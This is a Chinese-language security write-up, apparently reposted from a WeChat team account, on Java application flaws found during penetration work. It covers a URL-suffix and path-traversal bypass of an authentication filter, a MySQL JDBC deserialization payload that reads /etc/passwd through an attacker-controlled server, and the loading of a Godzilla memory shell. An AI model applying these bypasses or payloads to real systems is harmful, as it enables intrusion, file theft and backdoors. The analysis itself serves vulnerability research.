好久没写文章了,把最近打点审的几个漏洞分享一下。
filter权限绕过
在 CurrentContextFilter 里,有四个关键方法。
需要关注的方法,很明显可以看出,应该是:
isExcludeResource(request.getRequestURI()) isStaticResource(request.getRequestURI())
isAnonPermission(request)
从方法命名上可以看见分别代表含义 "是否排除的资源"、"是否是静态资源"、"是否是匿名权限"
分析
isExcludeResource
isExcludeResource(request.getRequestURI()) 是判断当前url是否包含
/xxxinterface/invoke
/metadata/xxx/findList"
/ui/xxx/xxxLayoutPath"
/metadata/xxx/xxxColumns"
/metadata/xxxx/xxxScene
/ui/xxx/xxxPath
如果包含以上值,则返回值是 true
isStaticResource
isStaticResource(request.getRequestURI()) 是判断当前url是否包含
/static
/scripts
/css
.js
/js
.png
.jpg
/images
/fonts
.css
.html
/bpm/editor-app
.svg
.gif
如果包含,返回值是 true
在CurrentContextFilter里面,当两个方法返回值是true时,返回值是null。
在 dofilter 方法里面,也就是该 filter 触发时,如果当前 userAuthInfo 的值是 null,会直接去更新当前上下文 updateCurrentContext,也就是逻辑正常走完,没有中途通过 return 去退出。
isAnonPermission
实际分析发现,此处是通过验证 redis 里面的 user-token 是否有效去验证用户权限的,因此不在分析范围内。
漏洞验证
直接访问某个接口的时候,会提示 Token is not present.
也就是在 getUserAuthInfo 方法里面执行到了下面这个位置
如果想要跳过该 401 的提示,则需要将逻辑执行到上面的 return null 处。
此时就很清晰了,可以通过在 isStaticResource 方法或 isExcludeResource 方法去跳过该逻辑。
以 isStaticResource 为例 也就是在当前的 url 里面添加静态资源或者添加某几个 url 即可绕过该限制。
如通过在当前 url 添加静态资源后缀 js 时(;.js或者是#.js,#需要url编码为%23),即可绕过该 401 限制,回显数据。
以 isExcludeResource 为例
如在当前的 url 里面添加特殊的 url,再利用 ../ 去跨越路径也可以绕过。
其他情况?
如果走 2 和 3 的逻辑,则 token 是在 redis 里面存着的
这种情况无法去伪造,即便是 jwt 的密钥是硬编码的情况下。
如果请求头里面的 token 是以 basic 为开始的,则有可能可以去伪造 token
即 Authorization: Basic YWRtaW46MTIzNDU2
但暂时未在当前 jar 里面找到实现该逻辑的代码块。
Mysql jdbc反序列化
在 DmXXXXController 里
在 DmXXXServiceImpl 里面找到 importDmByJdbc 的实现方法
再跟入到 JdbcUtils.getMetaTableList 里面看见了 DriverManager.getConnection,且 url 可控和 lib 目录下存在 mysql-connector-java-8.0.14.jar,也就能打mysql jdbc反序列化漏洞了。
漏洞验证
构造读取 /etc/passwd 的 payload
{"url":"jdbc:mysql://x.x.x.x:3308/test?user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","user":"base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","pwd":"123","appCode":"admin"}
vps 上收到请求
然后就成功读取到对方 linux 服务器上的文件
此时尝试打内存马,用的cb链生成的哥斯拉内存马。
发包后服务器收到请求
哥斯拉尝试连接,并连接成功
Fastjson+groovy反序列化
此处也能通过 fastjson+groovy 去打内存马
且存在 groovy 的依赖
总结
多审计 day,打点才能事半功倍。
原文始发于微信公众号(刨洞安全团队):最近打点用的一些java漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论